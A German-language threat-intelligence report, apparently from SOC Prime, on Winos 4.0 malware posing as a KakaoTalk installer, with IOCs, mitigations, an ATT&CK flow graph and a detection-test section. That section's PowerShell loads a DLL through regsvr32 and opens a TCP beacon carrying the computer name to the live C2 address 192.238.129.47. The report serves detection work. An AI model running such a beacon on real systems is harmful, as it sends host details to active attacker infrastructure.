SOC Prime Bias: Mittel

24 März 2026 16:03

Winos 4.0 Malware tarnt sich als KakaoTalk-Installer

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Winos 4.0 Malware tarnt sich als KakaoTalk-Installer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Angreifer missbrauchten SEO-Vergiftung, um einen gefälschten KakaoTalk-Installer an die Spitze der Suchergebnisse zu bringen. Der Installer trug ein ungültiges Code-Signing-Zertifikat und eingebettetes ein NSIS-Paket, das bösartige Dateien wie Verifier.exe und AutoRecoverDat.dll entpackte. Nach der Ausführung erreichte die Malware Persistenz durch DLL-Registrierung, geplante Aufgaben und ein Mutex und verband sich dann mit zwei separaten C2-Servern. Ihre Fähigkeiten umfassten Bildschirmaufnahmen, Systemprofiling und die Ausführung zusätzlicher Nutzlasten im Speicher.

Untersuchung

Das AhnLab Security Intelligence Center berichtete nach Beginn der Kampagne am 9. März von mehr als 5.000 kompromittierten PCs. Die Analyse zeigte, dass die verschlüsselten NSIS-Nutzlasten Verifier.exe und AutoRecoverDat.dll entschlüsseln und fallen lassen, ein Mutex erstellen und Shellcode aus GPUCache.xml-Dateien laden. Je nach Shellcode-Zweig kontaktierte die Malware die C2-Infrastruktur bei 192.238.129.47 oder 119.28.70.225. Persistenz wurde durch DLL-Registrierung und geplante Aufgaben aufrechterhalten, die entweder Verifier.exe oder rundll32 mit der bösartigen DLL starten.

Minderung

Organisationen sollten die bösartigen Domains und Download-URLs, die mit der Kampagne verbunden sind, blockieren. Erzwingen Sie eine strenge Code-Signatur-Überprüfung und verhindern Sie die Ausführung von Binärdateien mit ungültigen Zertifikaten. Anwendungs-Whitelisting sollte verwendet werden, um unbekannte NSIS-Installer am Ausführen zu hindern. Sicherheitsteams sollten auch auf das spezifische Mutex, verdächtige geplante Aufgaben und in dem Bericht aufgeführte Registrierungsänderungen überwachen.

Reaktion

Erkennungs-Teams sollten bei der Erstellung des Mutex 77825d8f-46d1-42d0-b298-83068bf9e31d und geplanten Aufgaben unter MicrosoftWindowsAppID alarmieren. Suchen Sie nach Verifier.exe und AutoRecoverDat.dll in Benutzerprofilverzeichnissen und blockieren Sie ausgehenden Verkehr zu den bekannten C2-IPs und -Ports. Führen Sie eine forensische Überprüfung der betroffenen Systeme durch und entfernen Sie alle Persistenz-Artefakte und bösartigen Komponenten vollständig.

"graph TB %% Klassendefinitionen classDef technik fill:#99ccff classDef werkzeug fill:#ffcc99 classDef malware fill:#ff9999 classDef prozess fill:#cccccc classDef operator fill:#ff9900 %% Knoten – Techniken und Artefakte tech_initial_access["<b>Technik</b> – T1593.002 Suchmaschinenvergiftung<br/><b>Beschreibung</b>: Manipulieren Sie SEO, um bösartige Sites in Suchergebnissen zu platzieren."] class tech_initial_access technik tech_user_exec["<b>Technik</b> – T1204 Benutzer-Ausführung<br/><b>Beschreibung</b>: Opfer führt bösartigen Installer aus, da es ihn für legitim hält."] class tech_user_exec technik tech_obfuscation["<b>Technik</b> – T1027 Verschleierte Dateien oder Informationen<br/><b>Beschreibung</b>: Nutzlasten, die im NSIS-Installer verschlüsselt und zur Laufzeit entschlüsselt werden."] class tech_obfuscation technik tech_powershell["<b>Technik</b> – T1059.001 PowerShell<br/><b>Beschreibung</b>: Führt PowerShell-Befehle über cmd aus, um Defender-Einstellungen zu ändern."] class tech_powershell technik tech_exclusions["<b>Technik</b> – T1564.012 Datei/Pfad-Ausschlüsse<br/><b>Beschreibung</b>: Fügt Ausschlusseinträge für C:, D:, E:, F: in Windows Defender hinzu."] class tech_exclusions technik tech_rundll32["<b>Technik</b> – T1218.011 Rundll32 Proxy-Ausführung<br/><b>Beschreibung</b>: Verwendet rundll32.exe, um die bösartige AutoRecoverDat.dll zu laden."] class tech_rundll32 technik tech_appcert["<b>Technik</b> – T1546.009 AppCert DLLs<br/><b>Beschreibung</b>: Registriert DLL zur Ausführung, wenn AppCert geladen wird, was Persistenz und Eskalation ermöglicht."] class tech_appcert technik tech_schtask["<b>Technik</b> – T1053 Geplante Aufgabe/Job<br/><b>Beschreibung</b>: Erstellt Aufgaben zum Starten von Verifier.exe und rundll32 beim Systemstart."] class tech_schtask technik tech_c2_nonstd["<b>Technik</b> – T1571 Nicht-standardmäßiger Port<br/><b>Beschreibung</b>: Kommuniziert mit C2-Servern über Ports 18852 und 443."] class tech_c2_nonstd technik tech_port_knocking["<b>Technik</b> – T1205.001 Port Knocking<br/><b>Beschreibung</b>: Verwendet Port Knocking, um C2-Verkehr zu verbergen."] class tech_port_knocking technik tech_dynamic_res["<b>Technik</b> – T1568 Dynamische Auflösung<br/><b>Beschreibung</b>: Löst C2-Adressen zur Laufzeit auf, passt sich der Anwesenheit chinesischer AV-Produkte an."] class tech_dynamic_res technik tech_indicator_removal["<b>Technik</b> – T1027.005 Entfernung von Indikatoren aus Werkzeugen<br/><b>Beschreibung</b>: Überprüft bestimmte AV-Produkte und ändert die Persistenz entsprechend."] class tech_indicator_removal technik tech_software_disc["<b>Technik</b> – T1518.001 Software-Erkennung<br/><b>Beschreibung</b>: Sammelt die Liste installierter Software zur Erkundung."] class tech_software_disc technik tech_path_intercept["<b>Technik</b> – T1574.009 Pfad-Abfangen durch unveröffentlichten Pfad<br/><b>Beschreibung</b>: Nutzt unveröffentlichte Dienstpfade aus, um bösartige DLL zu laden."] class tech_path_intercept technik %% Knoten – Dateien / Nutzlasten file_installer["<b>Datei</b>: Bösartiger NSIS-Installer (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Datei</b>: Verifier.exe"] class file_verifier malware file_dll["<b>Datei</b>: AutoRecoverDat.dll"] class file_dll malware %% Knoten – Befehle / Prozesse proc_powershell["<b>Prozess</b>: powershell.exe (fügt Defender-Ausschlüsse hinzu)"] class proc_powershell prozess proc_rundll32["<b>Prozess</b>: rundll32.exe (lädt AutoRecoverDat.dll)"] class proc_rundll32 prozess proc_schtask["<b>Prozess</b>: schtasks.exe (erstellt geplante Aufgaben)"] class proc_schtask prozess %% Verbindungen – Attack-Flow tech_initial_access –>|führt zu| tech_user_exec tech_user_exec –>|führt aus| file_installer file_installer –>|enthält| tech_obfuscation tech_obfuscation –>|entschlüsselt| file_verifier tech_obfuscation –>|entschlüsselt| file_dll file_installer –>|ruft auf| tech_powershell tech_powershell –>|führt aus| proc_powershell proc_powershell –>|fügt hinzu| tech_exclusions file_installer –>|verwendet| tech_rundll32 tech_rundll32 –>|startet| proc_rundll32 proc_rundll32 –>|lädt| file_dll tech_appcert –>|registriert| file_dll tech_appcert –>|ermöglicht| tech_schtask tech_schtask –>|erstellt| proc_schtask proc_schtask –>|plant| file_verifier proc_schtask –>|plant| proc_rundll32 tech_appcert –>|bietet| tech_path_intercept tech_path_intercept –>|erleichtert| tech_appcert tech_c2_nonstd –>|verwendet von| file_verifier tech_c2_nonstd –>|verwendet von| file_dll file_verifier –>|kommuniziert über| tech_port_knocking file_dll –>|kommuniziert über| tech_port_knocking tech_port_knocking –>|beruht auf| tech_dynamic_res tech_dynamic_res –>|erkennt| tech_indicator_removal tech_indicator_removal –>|modifiziert| tech_appcert file_installer –>|sammelt| tech_software_disc "

Angriffsablauf

Simulationserführung

Voraussetzung: Das Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertaktik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen müssen direkt die identifizierten TTPs widerspiegeln und dazu beitragen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:

    Der Gegner hat bereits bösartige DLLs im %LOCALAPPDATA%MicrosoftWindowsGPUCache Verzeichnis platziert, getarnt als legitime Cache-Dateien. Um die Nutzlast auszuführen, nutzt der Angreifer Regsvr32 (T1218.012), um die DLL zu laden, und verwendet dann die geladene Komponente, um eine C2-Kommunikation über den TCP-Port 18852 (oder den HTTPS-Port 443) zu dem fest codierten Server 192.238.129.47 zu initiieren. Dieser Netzwerkfluss ist der beobachtbare Indikator, den die Sigma-Regel überwacht.

    1. Lade bösartige DLL über Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. C2-Beacon initiieren (die bösartige DLL öffnet einen TCP-Socket zum C2-Server). Zum Testen emulieren wir das Beacon mit einem einfachen PowerShell TCP-Client, der sich mit derselben IP/Port verbindet.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon von $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Regressionstest-Skript: Das folgende Skript reproduziert die obigen Schritte von Anfang bis Ende und wird die exakte Netzwerk-Telemetrie erzeugen, die die Sigma-Regel erwartet.

    # -------------------------------------------------
    # Winos4.0 C2-Simulation – löst Sigma-Regel aus
    # -------------------------------------------------
    # 1. Lade die bösartige (simulierte) DLL über Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Registriere bösartige DLL über Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] Simulierte DLL wurde unter $dllPath nicht gefunden – Abbruch."
        exit 1
    }
    
    # 2. Emuliere C2-Beacon zu der fest codierten IP/Port
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] TCP-Verbindung zu $c2IP:$c2Port herstellen ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Beacon von $env:COMPUTERNAME am $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Beacon gesendet."
    } catch {
        Write-Error "[-] Verbindung fehlgeschlagen: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Bereinigungskommandos: Entfernen Sie alle temporären Artefakte und schließen Sie verbleibende Verbindungen.

    # Entfernen Sie die simulierte bösartige DLL (falls es sich um ein Test-Artefakt handelte)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] Simulierte DLL bereinigt."
    }
    
    # Stellen Sie sicher, dass keine verwaisten TCP-Listener verbleiben (unwahrscheinlich für nur clientseitig)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # Keine Aktion erforderlich; Verbindungen werden im Skript geschlossen.
    }